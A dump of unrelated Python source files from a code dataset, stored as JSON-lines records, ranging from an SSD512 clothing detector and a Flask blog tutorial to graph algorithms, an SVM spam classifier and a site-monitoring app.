nn.Conv2d(512, 512, kernel_size=3, padding=1, dilation=1)\n self.conv5_3 = nn.Conv2d(512, 512, kernel_size=3, padding=1, dilation=1)\n\n self.conv6 = nn.Conv2d(512, 1024, kernel_size=3, padding=6, dilation=6)\n self.conv7 = nn.Conv2d(1024, 1024, kernel_size=1)\n\n self.conv8_1 = nn.Conv2d(1024, 256, kernel_size=1)\n self.conv8_2 = nn.Conv2d(256, 512, kernel_size=3, padding=1, stride=2)\n\n self.conv9_1 = nn.Conv2d(512, 128, kernel_size=1)\n self.conv9_2 = nn.Conv2d(128, 256, kernel_size=3, padding=1, stride=2)\n\n self.conv10_1 = nn.Conv2d(256, 128, kernel_size=1)\n self.conv10_2 = nn.Conv2d(128, 256, kernel_size=3, padding=1, stride=2)\n\n self.conv11_1 = nn.Conv2d(256, 128, kernel_size=1)\n self.conv11_2 = nn.Conv2d(128, 256, kernel_size=3, padding=1, stride=2)\n\n self.conv12_1 = nn.Conv2d(256, 128, kernel_size=1)\n self.conv12_2 = nn.Conv2d(128, 256, kernel_size=4, padding=1)\n\n def forward(self, x):\n hs = []\n h = self.features(x)\n hs.append(self.norm4(h)) # conv4_3\n\n h = F.max_pool2d(h, kernel_size=2, stride=2, ceil_mode=True)\n\n h = F.relu(self.conv5_1(h))\n h = F.relu(self.conv5_2(h))\n h = F.relu(self.conv5_3(h))\n h = F.max_pool2d(h, kernel_size=3, padding=1, stride=1, ceil_mode=True)\n\n h = F.relu(self.conv6(h))\n h = F.relu(self.conv7(h))\n hs.append(h) # conv7\n\n h = F.relu(self.conv8_1(h))\n h = F.relu(self.conv8_2(h))\n hs.append(h) # conv8_2\n\n h = F.relu(self.conv9_1(h))\n h = F.relu(self.conv9_2(h))\n hs.append(h) # conv9_2\n\n h = F.relu(self.conv10_1(h))\n h = F.relu(self.conv10_2(h))\n hs.append(h) # conv10_2\n\n h = F.relu(self.conv11_1(h))\n h = F.relu(self.conv11_2(h))\n hs.append(h) # conv11_2\n\n h = F.relu(self.conv12_1(h))\n h = F.relu(self.conv12_2(h))\n hs.append(h) # conv12_2\n return hs\n\n\n\nclass SSD512(nn.Module):\n steps = (8, 16, 32, 64, 128, 256, 512)\n box_sizes = (35.84, 76.8, 153.6, 230.4, 307.2, 384.0, 460.8, 537.6) # default bounding box sizes for each feature map.\n aspect_ratios = ((2,), (2, 3), (2, 3), (2, 3), (2, 3), (2,), (2,))\n fm_sizes = (64, 32, 16, 8, 4, 2, 1)\n\n def __init__(self, num_classes):\n super(SSD512, self).__init__()\n self.num_classes = num_classes\n self.num_anchors = (4, 6, 6, 6, 6, 4, 4)\n self.in_channels = (512, 1024, 512, 256, 256, 256, 256)\n\n self.extractor = VGG16Extractor512()\n self.loc_layers = nn.ModuleList()\n self.cls_layers = nn.ModuleList()\n for i in range(len(self.in_channels)):\n \tself.loc_layers += [nn.Conv2d(self.in_channels[i], self.num_anchors[i]*4, kernel_size=3, padding=1)]\n \tself.cls_layers += [nn.Conv2d(self.in_channels[i], self.num_anchors[i]*self.num_classes, kernel_size=3, padding=1)]\n\n def forward(self, x):\n loc_preds = []\n cls_preds = []\n xs = self.extractor(x)\n for i, x in enumerate(xs):\n loc_pred = self.loc_layers[i](x)\n loc_pred = loc_pred.permute(0,2,3,1).contiguous()\n loc_preds.append(loc_pred.view(loc_pred.size(0),-1,4))\n\n cls_pred = self.cls_layers[i](x)\n cls_pred = cls_pred.permute(0,2,3,1).contiguous()\n cls_preds.append(cls_pred.view(cls_pred.size(0),-1,self.num_classes))\n\n loc_preds = torch.cat(loc_preds, 1)\n cls_preds = torch.cat(cls_preds, 1)\n return loc_preds, cls_preds\n\n\n\n\nclass DetectorInference(object):\n def __init__(self):\n print('Loading model..')\n NUM_CLASSES=5\n BS = 8\n # Model\n print('==> Building model..')\n net = SSD512(num_classes=NUM_CLASSES)\n checkpoint = torch.load('./model_chkps/model_chkp_21_epochs_new.pth',map_location='cpu')\n net.load_state_dict(checkpoint['net'])\n net.eval()\n self.net = net\n self.box_coder = SSDBoxCoder(self.net)\n self.class_labels = [\"pants\",\"shirt\",\"shorts\",\"tshirt\"]\n print(\"model loaded..\")\n\n def run(self, pil_image):\n ow = oh = 512\n img = pil_image.resize((ow,oh))\n w,h = img.width, img.height\n\n print('Predicting..')\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.485,0.456,0.406), (0.229,0.224,0.225))\n ])\n x = transform(img)\n x = Variable(x, volatile=True)\n loc_preds, cls_preds = self.net(x.unsqueeze(0))\n \n print('Decoding..')\n boxes, labels, scores = self.box_coder.decode( loc_preds.data.squeeze(), F.softmax(cls_preds.squeeze(), dim=1).data)\n DATA = []\n for box,label,score in zip(boxes,labels,scores):\n x1,y1,x2,y2 = list(box)\n DATA.append({\n 'x1':x1/w,\n 'y1':y1/h, \n 'x2':x2/w,\n 'y2':y2/h, \n 'c' :score,\n 'l' : self.class_labels[label], \n })\n return DATA\n\nDET = DetectorInference()\n\nIMAGE_PATHS = [\n '/data/deva/recaptcha_data/labelled/pants/beige_AntiqueWhite_64_3002_310094533_1712914711_Men_Pants_Jeans.jpg',\n '/data/deva/recaptcha_data/labelled/shorts/beige_AntiqueWhite_70_3020_2325289464_12214026386_Men_Shorts.jpg',\n '/data/deva/recaptcha_data/unlabelled/beige_Ecru_21_3002_1752206130_12178447290_Men_Pants_Jeans.jpg',\n '/data/deva/recaptcha_data/labelled/pants/blue_DarkSlateGray_46_3002_2846525030_12090766970_Men_Pants_Jeans.jpg',\n '/data/deva/recaptcha_data/unlabelled/beige_Ecru_23_3075_1704375222_9495561906_Men_Shirts.jpg',\n '/data/deva/recaptcha_data/unlabelled/black_Black_65_3002_529925020_4276264527_Men_Pants_Jeans.jpg',\n]\n\n\n \n \n \n \n\n\n\nfor image_path in IMAGE_PATHS:\n img = Image.open(image_path)\n draw = ImageDraw.Draw(img)\n DATA = DET.run(img)\n w,h = img.width, img.height\n for data in DATA:\n x1,y1,x2,y2 = data['x1']*w, data['y1']*h, data['x2']*w, data['y2']*h\n x1,y1,x2,y2 = int(x1), int(y1), int(x2), int(y2)\n \n draw.rectangle(list([x1,y1,x2,y2]), outline='red')\n draw.rectangle((x1+1,y1+1,x1+150,y1+10), fill='black')\n draw.text((x1+3,y1+1),\"{} {:0.2f}\".format(data['l'],data['c']), fill='green')\n img.show()\n","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":14209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"282887967","text":"# Copyright 2017 The Oppia Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for classifier services\"\"\"\n\nimport os\n\nfrom core.domain import classifier_registry\nfrom core.domain import classifier_services\nfrom core.domain import exp_services\nfrom core.tests import test_utils\nimport feconf\nimport utils\n\nclass ClassifierServicesTests(test_utils.GenericTestBase):\n \"\"\"Test reader.classify using the sample explorations.\n\n Since the end to end tests cover correct classification, and frontend tests\n test hard rules, ReaderClassifyTests is only checking that the string\n classifier is actually called.\n \"\"\"\n\n def setUp(self):\n super(ClassifierServicesTests, self).setUp()\n self._init_classify_inputs('16')\n\n def _init_classify_inputs(self, exploration_id):\n test_exp_filepath = os.path.join(\n feconf.TESTS_DATA_DIR, 'string_classifier_test.yaml')\n yaml_content = utils.get_file_contents(test_exp_filepath)\n assets_list = []\n exp_services.save_new_exploration_from_yaml_and_assets(\n feconf.SYSTEM_COMMITTER_ID, yaml_content, exploration_id,\n assets_list)\n\n self.exp_id = exploration_id\n self.exp_state = (\n exp_services.get_exploration_by_id(exploration_id).states['Home'])\n\n def _is_string_classifier_called(self, answer):\n sc = classifier_registry.ClassifierRegistry.get_classifier_by_id(\n feconf.INTERACTION_CLASSIFIER_MAPPING['TextInput'])\n string_classifier_predict = (\n sc.__class__.predict)\n predict_counter = test_utils.CallCounter(\n string_classifier_predict)\n\n with self.swap(sc.__class__, 'predict', predict_counter):\n response = classifier_services.classify(self.exp_state, answer)\n\n answer_group_index = response['answer_group_index']\n rule_spec_index = response['rule_spec_index']\n answer_groups = self.exp_state.interaction.answer_groups\n if answer_group_index == len(answer_groups):\n return 'default'\n\n answer_group = answer_groups[answer_group_index]\n return (answer_group.get_classifier_rule_index() == rule_spec_index and\n predict_counter.times_called == 1)\n\n def test_string_classifier_classification(self):\n \"\"\"All these responses trigger the string classifier.\"\"\"\n with self.swap(feconf, 'ENABLE_STRING_CLASSIFIER', True):\n self.assertTrue(\n self._is_string_classifier_called(\n 'it\\'s a permutation of 3 elements'))\n self.assertTrue(\n self._is_string_classifier_called(\n 'There are 3 options for the first ball, and 2 for the '\n 'remaining two. So 3*2=6.'))\n self.assertTrue(\n self._is_string_classifier_called('abc acb bac bca cbb cba'))\n self.assertTrue(\n self._is_string_classifier_called('dunno, just guessed'))\n","sub_path":"core/domain/classifier_services_test.py","file_name":"classifier_services_test.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"630851857","text":"import os, sys, json\n\ndef progress( pattern ):\n head = pattern[0]\n if( head[0] == \"0\" ):\n return pattern[3:] + \"00\"\n else:\n return pattern[3:] + \"1101\"\n\ndef getInt(msg):\n userInput = raw_input(msg)\n if userInput == \"\":\n return 0\n return int(userInput)\n\ndef intToPattern(i):\n result = \"\"\n while i > 0:\n m = i % 2\n result += str(m)\n i /= 2\n return result\n\ndef main():\n running = True\n while running:\n patterns = {}\n pattern = raw_input( \"Enter base pattern(0,1): \" )\n iterations = getInt( \"Interations(0=inf): \" )\n comps = 0\n maxLength = 0\n patternThreshold = 20\n while comps < iterations or iterations == 0:\n if len(pattern) > maxLength:\n maxLength = len(pattern)\n\n if pattern not in patterns:\n patterns[pattern] = 0\n\n patterns[pattern] += 1\n\n if patterns[pattern] >= patternThreshold:\n patternThreshold *= 8\n with open( \"out.json\", \"w\" ) as f:\n f.write( json.dumps( patterns ) )\n shouldBreak = raw_input( \"Pattern detected; exit loop(y/n): \" )\n if( shouldBreak == \"y\" ):\n comps -= 1\n break\n\n\n print( str(comps) + \" | \" + pattern )\n\n if len(pattern) == 0 or pattern == \"00\":\n break\n pattern = progress( pattern )\n comps += 1\n\n print( \"Finished tag after iteraion: \" + str(comps) + \", longest bit string was of length: \" + str(maxLength) )\n shouldExit = raw_input( \"Exit(y/n): \" )\n\n if( shouldExit == \"y\" ):\n running = False\n\nmain()\n","sub_path":"cs454/tag_system/tag-user.py","file_name":"tag-user.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"637595736","text":"#Flask-Blog > blog > routes.py\r\nfrom flask import render_template, flash, redirect, url_for\r\nfrom blog import app\r\nfrom blog.forms import LoginForm, RegistrationForm\r\n\r\n# print(f\"In routes.py: {__name__}\") o/p: In routes.py: blog.routes\r\nuser = {'username': 'Alok'}\r\n\r\nposts = [\r\n {\r\n 'author': 'Alok',\r\n 'title': 'Blog Post 1',\r\n 'content': 'First post content',\r\n 'date_posted': 'Jul 11, 2021'\r\n },\r\n {\r\n 'author': 'Chris',\r\n 'title': 'Blog Post 2',\r\n 'content': 'Second post content',\r\n 'date_posted': 'Jul 12, 2021'\r\n }\r\n]\r\n\r\n@app.route(\"/\")\r\n@app.route(\"/home\")\r\ndef home():\r\n return render_template('home.html', user=user, posts= posts)\r\n\r\n\r\n@app.route(\"/about\")\r\ndef about():\r\n return render_template('about.html', title='About')\r\n\r\n@app.route('/login', methods=['GET', 'POST'])\r\ndef login():\r\n form = LoginForm()\r\n if form.validate_on_submit():\r\n if form.email.data == 'admin@blog.com' and form.password.data == 'password':\r\n flash('You have been logged in!', 'success')\r\n return redirect(url_for('home'))\r\n else:\r\n flash('Login Unsuccessful. Please check username and password', 'danger')\r\n return render_template('login.html', title='Login', form=form)\r\n\r\n\r\n@app.route(\"/register\", methods=['GET', 'POST'])\r\ndef register():\r\n form = RegistrationForm()\r\n if form.validate_on_submit():\r\n flash(f'Account created for {form.username.data}!', 'success')\r\n return redirect(url_for('home'))\r\n return render_template('register.html', title='Register', form=form)","sub_path":"03 - Forms and User Input/blog/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"12146400","text":"import random\n\nfrom label_studio.ml import LabelStudioMLBase\n\n\nclass DummyModel(LabelStudioMLBase):\n\n def __init__(self, **kwargs):\n super(DummyModel, self).__init__(**kwargs)\n\n from_name, schema = list(self.parsed_label_config.items())[0]\n self.from_name = from_name\n self.to_name = schema['to_name'][0]\n self.labels = schema['labels']\n\n def predict(self, tasks, **kwargs):\n results = []\n for task in tasks:\n results.append({\n \"result\": [\n {\n \"from_name\": \"label\",\n \"id\": \"t5sp3TyXPo\",\n \"source\": \"$image\",\n \"to_name\": \"image\",\n \"type\": \"rectanglelabels\",\n \"value\": {\n \"height\": 11.6122840691,\n \"rectanglelabels\": [\n \"Airplane\"\n ],\n \"rotation\": 0,\n \"width\": 39.6,\n \"x\": 13.2,\n \"y\": 34.7024952015\n }\n }\n ],\n 'score': random.uniform(0, 1)\n })\n return results\n\n def fit(self, completions, workdir=None, **kwargs):\n return {'random': random.randint(1, 10)}\n","sub_path":"my_ml_backend/dummy_model.py","file_name":"dummy_model.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"401733008","text":"import setuptools\n\nlong_description = open(\"README.md\").read()\n\nsetuptools.setup(\n name=\"seaoftacos-pkg-Zeta314\", # Replace with your own username\n version=\"1.0a2\",\n author=\"Zeta314\",\n author_email=\"ale3152001@gmail.com\",\n description=\"A process interaction package\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/Zeta314/Sea-of-Tacos\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: Windows\",\n ],\n python_requires='>=3.6',\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"625503398","text":"\nINF = 1e+9\n\n\ndef read_data():\n N, M, start = map(int, input().split())\n edges = []\n for m in range(M):\n s, t, w = map(int, input().split())\n edges.append([s, t, w])\n\n return N, M, start, edges\n\n\ndef gen_w_adj_list(edges, N):\n adj_list = []\n for i in range(N):\n adj_list.append([])\n\n for edge in edges:\n # edge : [target, distance]\n adj_list[edge[0]].append([edge[1], edge[2]])\n\n return adj_list\n\n\ndef bellman(N, start, edges):\n\n state = []\n dist = []\n for i in range(N):\n state.append(-1)\n dist.append(INF)\n\n state[start] = 0\n dist[start] = 0\n cnt = 0\n\n while True:\n update = False\n cnt += 1\n if cnt > N:\n return False\n\n for s, t, d in edges:\n if dist[s] != INF and dist[t] > dist[s] + d:\n dist[t] = dist[s] + d\n update = True\n if update is False:\n break\n\n return dist\n\n\ndef main():\n N, M, start, edges = read_data()\n distance = bellman(N, start, edges)\n if distance:\n for d in distance:\n print(int(d) if d != INF else 'INF')\n else:\n print(\"NEGATIVE CYCLE\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"kyopro/aizu/GRL/GRL_1_B_SingleSourceShortestPath_bellman.py","file_name":"GRL_1_B_SingleSourceShortestPath_bellman.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"628869361","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.io as scio\nfrom sklearn import svm\n\nimport processEmail as pe\nimport emailFeatures as ef\n\n# ====== 邮件预处理 ======\nprint ('Preprocessiong sample email ...')\n\nfile_contents = open('data/emailSample1.txt', 'r').read()\nword_indices = pe.process_email(file_contents)\n\nprint('Word Indices: ')\nprint(word_indices)\n\ninput('Program paused. Press ENTER to continue\\n')\n\n# ====== 特征提取 ======\nprint('Extracting Features from sample email (emailSample1.txt) ...')\nfeatures = ef.email_features(word_indices)\nprint('Length of feature vector: {}'.format(features.size))\nprint('Number of non-zero entries: {}'.format(np.flatnonzero(features).size))\n\ninput('\\nProgram paused. Press ENTER to continue\\n')\n\n# ====== 训练模型 ======\ndata = scio.loadmat('data/spamTrain.mat')\nX = data['X']\ny = data['y'].flatten()\n\nprint ('Training Linear SVM (Spam Classification) ...')\nc = 0.1\nclf = svm.SVC(c, kernel='linear')\nclf.fit(X, y)\np = clf.predict(X)\nprint('Training Accuracy: {}%\\n'.format(np.mean(p == y) * 100))\n\n# ====== 预测 ======\ndata = scio.loadmat('data/spamTest.mat')\nXtest = data['Xtest']\nytest = data['ytest'].flatten()\n\nprint('Evaluating the trained linear SVM on a test set ...')\n\np = clf.predict(Xtest)\n\nprint('Test Accuracy: {}%'.format(np.mean(p == ytest) * 100))\n\ninput('\\nProgram paused. Press ENTER to continue\\n')\n\n# 获取容易被视为垃圾邮件的词\nvocab_dict = pe.get_vocab_dict()[1]\nindices = np.argsort(clf.coef_).flatten()[::-1]\nprint(indices)\n\nfor i in range(15):\n print('{} ({:0.6f})'.format(vocab_dict[indices[i] + 1], clf.coef_.flatten()[indices[i]]))\n\ninput('\\nsvm_spam Finished. Press ENTER to exit')","sub_path":"Support Vector Machine/svm_spam.py","file_name":"svm_spam.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"4552451","text":"# dict 是字典的缩写\n# set是集合的缩写\n# python中的元组用小括号表示\n# 列表中中括号表示\n# 字典和集合用大括号表示\n# 比如, 同样描述一个学生信息\nstu = (\"001\", \"小毛\", \"男\", 23)\n# 元组和数组的区别:\n# 数组可以修改元素的内容,但是不能增加和删除, 数组中所有元素的类型一样\n# 元组不能增删改, 元素的类型不固定\n\nstu = [\"001\", \"小毛\", \"男\", 23, 23]\n# 元组和列表的区别:\n# 元组是只读, 不能修改\n# 列表是可以进行增删改查的, 列表是最常用数据格式\n# find_elements()返回的就是列表\n\nstu = {\"001\", \"小毛\", \"男\", 23, 23}\n# 元组和集合的区别\n# 1.集合是无序, 不能用下标(索引)的方式查找元素\n# 2.集合是不可重复的, 重复的元素会自动删除\n\nstu = {\"id\":\"001\", \"姓名\":\"小毛\", \"性别\":\"男\", \"年龄\":23, \"成绩\":23}\n# 字典和集合的区别:\n# 冒号前面的部分叫key, 后面的部分叫value\n# 字典是具有自我描述性的, 你看见先的key值,就知道value所代表的意思了\n# 集合也是无序的,集合中的key不能重复, value值可以重复\n# 如果我想打印集合中的id的值,怎么做\nprint(stu['id'])\n\n\n\n\n\n\n","sub_path":"day5/dictAndSet.py","file_name":"dictAndSet.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"539263951","text":"PATH_X_TR = \"syn_pairs.csv\"\nPATH_Y_TR = \"syn_target.csv\"\nPATH_X_TE = \"tuebingen_pairs.csv\"\nPATH_Y_TE = \"tuebingen_target.csv\"\n\nimport numpy as np\nfrom sklearn.preprocessing import scale\n\nimport os\nos.chdir('C:/Users/Sheridongle/Documents/projects/randomized_causation_coefficient/code/')\n\nimport time\nimport multiprocessing\n\ndef featurize_row(row,i,j):\n r = row.split(\",\",2)\n x = scale(np.array(r[i].split(),dtype=np.float))\n y = scale(np.array(r[j].split(),dtype=np.float))\n return np.hstack((x,y))\n\ndef featurize(x,flip):\n f1 = np.array([featurize_row(row,1,2) for row in x])\n if(flip==1):\n return np.vstack((f1,np.array([featurize_row(row,2,1) for row in x])))\n else:\n return f1\n\ndef read_pairs(filename):\n f = open(filename);\n pairs = f.readlines();\n f.close();\n del pairs[0];\n return pairs\n\n# Read training data\ny = np.genfromtxt(PATH_Y_TR, delimiter=\",\")[:,1]\nx = read_pairs(PATH_X_TR)\n# Featurize with flip, i.e. reverse direction\nx = featurize(x,1)\ny = np.hstack((y,-y))\n# Read test data\nx_te = read_pairs(PATH_X_TE)\nx_te = featurize(x_te,0)\ny_te = 2*((np.genfromtxt(PATH_Y_TE,delimiter=\",\")[:,1])==1)-1\nm_te = np.genfromtxt(PATH_Y_TE,delimiter=\",\")[:,2]\n\ndef kernel_dist(p,q,weights=np.ones(3),gamma=10,kernel='gaussian'):\n if kernel=='gaussian':\n k = lambda x,y: np.exp(-gamma*np.dot(x-y,x-y))\n else:\n raise ValueError('Only gaussian kernel implemented so far')\n \n n = int(len(p)/2)\n m = int(len(q)/2)\n\n d_x = 0\n for i in range(n):\n for j in range(m):\n d_x += k(p[i],q[j])\n d_x /= (n*m)\n\n d_y = 0\n for i in range(n,2*n):\n for j in range(m,2*m):\n d_y += k(p[i],q[j])\n d_y /= (n*m)\n \n d_xy = 0\n for i in range(n):\n for j in range(m):\n d_xy += k(np.array(p[i],p[i+n]),np.array(q[j],q[j+m]))\n d_xy /= (n*m)\n return np.dot(weights,(d_x,d_y,d_xy))\n\ndef classify(test):\n return np.mean([kernel_dist(x[i],test)*y[i] for i in range(len(x))])\n\n\nnum_tests = 10\n\n\nif __name__ == '__main__':\n indices = np.random.choice(x_te.shape[0], num_tests, False)\n n_cores = multiprocessing.cpu_count()\n start = time.clock()\n with multiprocessing.Pool(n_cores-1) as P:\n scores = np.array(P.map(classify, x_te[indices]))\n end = time.clock()\n print(end-start)\n y_hats = 2*(scores > 0)-1\n print('Accuracy:', np.mean(y_hats== y_te[indices]))\n \n","sub_path":"code/tuebingen_learn_noFourier.py","file_name":"tuebingen_learn_noFourier.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"449046877","text":"# 159. Find Minimum in Rotated Sorted Array\n# Description\n# Notes\n# Testcase\n# Judge\n# Suppose a sorted array is rotated at some pivot unknown to you beforehand.\n#\n# (i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2).\n#\n# Find the minimum element.\n#\n# Notice\n# You may assume no duplicate exists in the array.\n#\n# Have you met this question in a real interview?\n# Example\n# Given [4, 5, 6, 7, 0, 1, 2] return 0\n\n\nclass Solution:\n \"\"\"\n @param nums: a rotated sorted array\n @return: the minimum number in the array\n \"\"\"\n\n def findMin(self, nums):\n # write your code here\n \"binary search: if larger/smaller, go right/left\"\n\n start = 0\n end = len(nums) - 1\n\n flagstart = False\n flagend = False\n\n while start + 1 < end:\n mid = start + (end - start) // 2\n\n if nums[mid] > nums[start]:\n start = mid\n flagstart = True\n elif nums[mid] < nums[end]:\n end = mid\n flagend = True\n\n \"if start or end not move at all, means either side distance to peek is 0 or 1, minium exists in 0, 1, len-1, len-2\"\n if flagstart is False or flagend is False:\n return min(nums[0], nums[-1], nums[1], nums[-2])\n\n return nums[end]\n\n\nassert Solution().findMin([4, 5, 6, 7, 0, 1, 2]) == 0\nassert Solution().findMin([1, 2, 3]) == 1\n","sub_path":"Algorithm/Python/Array/FindMinimumInRotatedSortedArray.py","file_name":"FindMinimumInRotatedSortedArray.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"39627460","text":"# Cast columns with mostly numeric values to new numeric columns.\n# Certain percentage (threshold) of non-numeric values per column allowed before casting.\n# Non-numeric values are ignored and become nulls inside new columns.\n#\n# Specification:\n# Inputs:\n# X: datatable - primary data set\n# Parameters:\n# columns: list - columns to cast to numeric. If None (default) then all character columns\n# threshold: numeric - threshold for percentage of allowed non-numeric values per column before conversion\n# name_suffix: string - suffix to add to the name of new numeric column converted from the original\n# Output:\n# dataset with added numeric columns derived from character columns\n\nimport pandas as pd\nimport numpy as np\n\n# percent of values allowed to dismiss as non-numeric (missing) after conversion\ncolumns = None\nthreshold = 0.01\nname_suffix = '_num'\n\nnew_dataset_name = \"new_dataset_name_after_casting_to_num\"\n\n# select columns to cast and convert to pandas frame\nif columns is None:\n columns = X[:, dt.f[str]].names\ndf = X[:, columns].to_pandas()\n\n# cast to numeric\nnrows = df.shape[0]\nif nrows == 0:\n return None\n\n# check if percentage of non-numerics is low and then cast\nfor c in columns:\n # special care taken of negative values\n percent_of_non_numeric = sum(df[c].apply(lambda x: not (x[1:].isnumeric() if x.startswith(\"-\") else x.isnumeric()))) / nrows\n if percent_of_non_numeric <= threshold:\n X[c + name_suffix] = pd.to_numeric(df[c], errors='coerce')\n\nreturn {new_dataset_name: X}","sub_path":"data/livecode/cast_columns_to_numeric.py","file_name":"cast_columns_to_numeric.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"279348218","text":"# -*- coding: UTF-8 -*-\nfrom __future__ import print_function\n\nfrom collections import namedtuple\nfrom importlib import import_module\nfrom logging import getLogger\nfrom math import ceil\nfrom operator import attrgetter\nfrom re import search\nfrom textwrap import dedent\nfrom threading import Lock, Thread\n\nfrom requests import RequestException, Session\nfrom requests.utils import default_user_agent\n\nimport lxml.html.clean\nimport yaml\n\nfrom .exceptions import ConfigurationError, LoginError, NotificationException, SiteException\nfrom .utils import current_time, sleep, urlencode_utf8\nfrom .version import __version__\n\n\nclass App(object):\n \"\"\"A WebAlerts app object is initialized with configuration values in the\n provided *config* dictionary. For the list of config values, see\n `Configuration options`_.\n\n .. attribute: logger\n\n Logger for this class\n\n \"\"\"\n\n DEFAULT_CONFIGS = {\n 'patterns': None,\n 'check_interval': 5,\n 'notify_interval': 5,\n }\n\n def __init__(self, config=None):\n self.logger = getLogger(__name__).getChild(self.__class__.__name__)\n self.config = dict(App.DEFAULT_CONFIGS)\n if config:\n self.config.update(config)\n self.sites = None\n self.notifications = None\n self._start = None\n\n def from_yaml(self, name):\n \"\"\"Load config values from a YAML file.\"\"\"\n with open(name) as f:\n self.config.update(yaml.load(f))\n\n def _init_site_data(self):\n l = self.logger\n self.sites = {}\n if not isinstance(self.config.get('sites'), dict):\n raise ConfigurationError('sites should be dict')\n for name, config in self.config['sites'].iteritems():\n if not config:\n continue\n try:\n cls = config['class']\n except KeyError:\n raise ConfigurationError('class should be defined for sites')\n if isinstance(cls, basestring):\n import_name = cls\n cls = self._import_class(import_name)\n if cls is None:\n l.warning('Site %s is not added as it could not be imported', name)\n continue\n try:\n instance = cls(config)\n except SiteException as e:\n l.warning('Site %s is not added due to an error: %s', name, e)\n else:\n self.sites[name] = {\n 'instance': instance,\n 'config': config,\n 'counter': 0,\n 'errors': 0,\n 'disabled': False,\n }\n l.info('Site %s is added', name)\n\n def _init_notification_data(self):\n l = self.logger\n self.notifications = {}\n if not isinstance(self.config.get('notifications'), dict):\n raise ConfigurationError('notifications should be dict')\n for name, config in self.config['notifications'].iteritems():\n if not config:\n continue\n try:\n cls = config['class']\n except KeyError:\n raise ConfigurationError('class should be defined for notifications')\n if isinstance(cls, basestring):\n import_name = cls\n cls = self._import_class(import_name)\n if cls is None:\n l.warning('Notification %s is not added as it could not be imported', name)\n continue\n try:\n instance = cls(config)\n except NotificationException as e:\n l.warning('Notification %s is not added due to an error: %s', name, e)\n else:\n self.notifications[name] = {\n 'instance': instance,\n 'config': config,\n 'counter': 0,\n 'posts': [],\n 'lock': Lock(),\n }\n l.info('Notification %s is added', name)\n\n def run(self):\n \"\"\"Start the main loop of the app that periodically collects new posts\n and feeds those posts to notification pipelines.\n \"\"\"\n g = self._run()\n while True:\n try:\n next(g)\n except StopIteration:\n break\n\n def _run(self):\n l = self.logger\n try:\n self._init_site_data()\n self._init_notification_data()\n self._start = current_time()\n while self.sites:\n l.debug('Main loop started')\n yield self._loop_body()\n # +0.1 is needed as the accuracy of time.sleep() is not so great\n # and it may wake up too early, causing the next delay too short\n delay = 60 - (current_time() - self._start) % 60 + 0.1\n l.debug('Sleeping for %f seconds', delay)\n sleep(delay)\n l.info('No site to visit')\n except KeyboardInterrupt:\n l.info('Interrupted')\n # Make the shell prompt printed on the next line.\n print()\n except Exception:\n l.exception('Crashed due to an uncaught error')\n\n def _loop_body(self):\n run_in_parallel([App.SiteThread(self, name) for name in self.sites])\n run_in_parallel([App.NotificationThread(self, name) for name in self.notifications])\n\n def _import_class(self, name):\n try:\n mname, cname = name.rsplit('.', 1)\n return getattr(import_module(mname), cname)\n except (ValueError, ImportError, AttributeError):\n self.logger.exception('Failed to import %s', name)\n\n class SiteThread(Thread):\n\n def __init__(self, app, name):\n super(App.SiteThread, self).__init__()\n self.app = app\n self.name = name\n\n def run(self):\n try:\n self._before_visit()\n except Exception:\n self.app.logger.exception('Site %s crashed due to an uncaught error', self.name)\n\n def _before_visit(self):\n app = self.app\n data = app.sites[self.name]\n\n # Do not proceed if it is disabled due to too many errors\n if data['disabled']:\n app.logger.debug('Site %s is disabled', self.name)\n return\n\n # Increment the counter and visit the site if it exceeds the interval\n data['counter'] += 1\n interval = data['config'].get('check_interval', app.config['check_interval'])\n interval = ceil(max(1, interval))\n if data['counter'] >= interval:\n data['counter'] = 0\n app.logger.info('Visiting site %s', self.name)\n self._visit()\n else:\n app.logger.debug('%s loop counter: %d/%d', self.name, data['counter'], interval)\n\n def 